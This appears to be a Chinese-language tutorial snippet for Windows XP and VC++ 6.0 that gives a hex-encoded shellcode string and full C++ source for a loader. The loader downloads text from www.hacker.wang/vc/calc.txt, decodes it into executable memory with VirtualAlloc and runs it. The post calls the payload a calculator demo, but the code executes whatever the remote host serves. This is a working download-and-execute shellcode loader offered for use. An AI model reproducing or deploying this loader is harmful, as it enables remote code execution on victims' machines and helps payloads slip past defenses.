測試環境
windowsxp
vc++6.0
遠程txt文本計算器shellcode如下：
b8820a8d38d9c6d97424f45a29c9b12331421283eafc03c0046fcd38f02b2ec0013f6bfc8a4371848d54f23b96215ae3a7de2c6893abae80ed6b29f08aac3e0f52e6b20e961c382b42c7c53e8f8c99e44e78436f5c35073041c8fc45654103b21f092040e383e82c68a3d829ae5c15ba6f91aecc73043b4484bd351f14f1461f15792e234a4c593b22275d380a4cce56f56b0cd561142f937c732f44e31aa3e9e4
vc++ 代碼如下
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
void main()
{
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
BOOL bResults = FALSE;
hSession=WinHttpOpen(L"User Agent",WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,WINHTTP_NO_PROXY_NAME,WINHTTP_NO_PROXY_BYPASS,0);
if(hSession)
{
hConnect=WinHttpConnect(hSession,L"www.hacker.wang",INTERNET_DEFAULT_HTTP_PORT,0);
}
if(hConnect)
{
hRequest=WinHttpOpenRequest(hConnect, L"GET",L"/vc/calc.txt",L"HTTP/1.1", WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES,0);
}
if(hRequest)
{
bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
}
if(bResults)
{
bResults=WinHttpReceiveResponse(hRequest,NULL);
}
if(bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable( hRequest, &dwSize))
{
printf( "Error %u in WinHttpQueryDataAvailable.\n",GetLastError());
break;
}
if (!dwSize)
break;
pszOutBuffer = new char[dwSize+1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
break;
}
ZeroMemory(pszOutBuffer, dwSize+1);
if (!WinHttpReadData( hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
printf( "Error %u in WinHttpReadData.\n", GetLastError());
}
else
{
printf("%s", pszOutBuffer);
}
//編寫shellcode 開始
const char* ShellCode = pszOutBuffer;
int shellcode_length = strlen(ShellCode);
unsigned char* value = (unsigned char*)calloc(shellcode_length/2,sizeof(unsigned char));
for (size_t count=0;count < shellcode_length /2;count++)
{
sscanf(ShellCode,"%2hhx",&value[count]);
ShellCode += 2;
}
void *exec = VirtualAlloc(0,shellcode_length*2,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,value,shellcode_length*2);
printf("%s", exec);
((void(*)())exec)();
// 編寫shellcode 結束
delete [] pszOutBuffer;
if (!dwDownloaded)
break;
} while (dwSize > 0);
}
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
system("pause");
}
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